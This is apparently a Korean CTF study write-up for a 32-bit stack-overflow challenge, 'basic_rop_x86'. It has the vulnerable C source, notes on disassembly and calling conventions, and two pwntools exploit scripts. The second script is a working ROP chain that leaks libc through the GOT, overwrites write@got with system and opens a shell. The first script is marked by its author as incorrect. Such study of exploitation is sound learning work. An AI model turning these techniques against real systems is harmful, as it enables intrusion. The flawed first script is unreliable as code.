#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x40] = {};
initialize();
read(0, buf, 0x400);
write(1, buf, sizeof(buf));
return 0;
}
x64랑 같은 코드인 거 같긴 한데..

카나리도 동일하게 없음
그러나 32비트는 리틀엔디언이라는 점 주의..

ebp-0x44인 걸 봐서는 더미 0x4만큼 존재함
buf(0x40)dummy(0x4)ebp(0x4)ret(0x4)
x64 참고해서 내가 작성해보기.. (아래 코드 틀린 내용임)
from pwn import *
def slog(n,m): return success(': '.join([n,hex(m)]))
p=remote('host3.dreamhack.games',17105)
e=ELF('./basic_rop_x86')
libc=ELF('./libc.so.6')
r=ROP(e)
#필요 정보 수집
pop_rdi #일단 냅두고
read_plt=e.plt['read']
read_got=e.got['read']
write_plt=e.plt['write']
write_got=e.got['write']
bss=e.bss()
read_offset=libc.sym['read']
system_offset=libc.sym['system']
pop_rdi=r.find_gadget(['pop rdi','ret'])[0]
pop_rsi_r15=r.find_gadget(['pop rsi','pop r15','ret'])[0]
ret=r.find_gadget(['ret'])[0]
payload=b'a'*0x48
#write(1,read@got,16)
payload+=p32(pop_rdi)+p32(1)
payload+=p32(pop_rsi_r15)+p32(read_got)+p32(16)
payload+=p32(write_plt)
#read(0,bss,8)
payload+=p32(pop_rdi)+p32(0)
payload+=p32(pop_rsi_r15)+p32(bss)+p32(8)
payload+=p32(read_plt)
#got overwrite
payload+=p32(pop_rdi)+p32(0)
payload+=p32(pop_rsi_r15)+p32(write_got)+p32(16)
payload+=p32(read_plt)
#write() 호출 -> system 호출
payload+=p32(ret)
payload+=p32(pop_rdi)
payload+=p32(bss)
payload+=p32(write_plt)
#익스플로잇
p.send(payload)
p.recvuntil(b'a'*0x40)
read=u32(p.recvn(6)+b'\x00'*2)
lb=read-read_offset
system=lb+system_offset
slog('libc_base',lb)
slog('read',read)
slog('system',system)
p.send(b'/bin/sh\x00')
p.send(p32(system))
p.interactive()
일단 냅뒀던 pop_rdi 찾아야 하는데

아무것도 뜨지 않음
libc에서 찾아야 할 거 같다
없다
libc_csu_init 가젯 방법 사용해야 할 거 같다(ROP 강의에서 잠깐 언급됐던거..)
혼자 하려니까 모르겠어서 그냥 라이트업 봤다 ㅋ
디셈블 부분부터 다시 보자..

스택에 필요 부분 할당.. esp부터 sub 0x40해주는 건 buf의 자리를 위함

ebp-0x44를 edx에 담는다.. eax 0x0.. ecx 0x10.. edi에 edx 값
rep stos: eax에 있는 값을 ecx만큼 반복하여 edi에 이동
initialize() 함수 호출

read 함수 호출 부분..
0x400 스택 push
ebp-0x44 eax에 옮겼다가 push
0x0 push
모든 인자값이 스택으로 이루어지는 것 확인.. (64비트에서는 레지스터 사용..)
add 명령어 부분은 아마 스택 정리를 위한.. 호출 규약에 따른 부분일 것..
다시 또 0x40 push
ebp-0x44 push
0x1 push
write 함수 call..
read에서도 write에서도 모든 인자가 스택에서 이루어지는 것 확인.. 스택 정리도 caller에서 정리
64비트와 다른 점.. 스택에 쌓이는 인자 순서가
인자, ret, 함수의 지역 변수..순이기 때문에 plt -> 반환 주소값 순으로 입력
인자3 > 인자2 > 인자1 > ret > plt //이부분 더 공부해서 이해하기..
from pwn import *
context.arch='i386'
p=remote('host3.dreamhack.games',17105)
e=ELF('./basic_rop_x86')
libc=ELF('./libc.so.6')
# 필요 정보 수집..
read_plt=e.plt['read']
read_got=e.got['read']
write_plt=e.plt['write']
write_got=e.got['write']
read_offset=libc.sym['read']
system_offset=libc.sym['system']
pop_esi_edi_ebp=0x08048689
pop_ret=0x0804868b
bss=e.bss()
#stack+sfp
payload=b'a'*0x44 +b'b'*0x4
#write(1,read_got,4)
payload+=p32(write_plt)
payload+=p32(pop_esi_edi_ebp)
payload+=p32(1)
payload+=p32(read_got)
payload+=p32(4)
#read(0,bss,8)
payload+=p32(read_plt)
payload+=p32(pop_esi_edi_ebp)
payload+=p32(0)
payload+=p32(bss)
payload+=p32(8)
#read(0,write_got,4)
payload+=p32(read_plt)
payload+=p32(pop_esi_edi_ebp)
payload+=p32(0)
payload+=p32(write_got)
payload+=p32(4)
#write("/bin/sh",0,0)
payload+=p32(write_plt)
payload+=p32(pop_ret)
payload+=p32(bss)
p.send(payload)
p.recv(0x40)
read=u32(p.recvn(4))
lb=read-read_offset
system=lb+system_offset
p.send(b'/bin/sh\x00')
p.send(p32(system))
p.interactive()
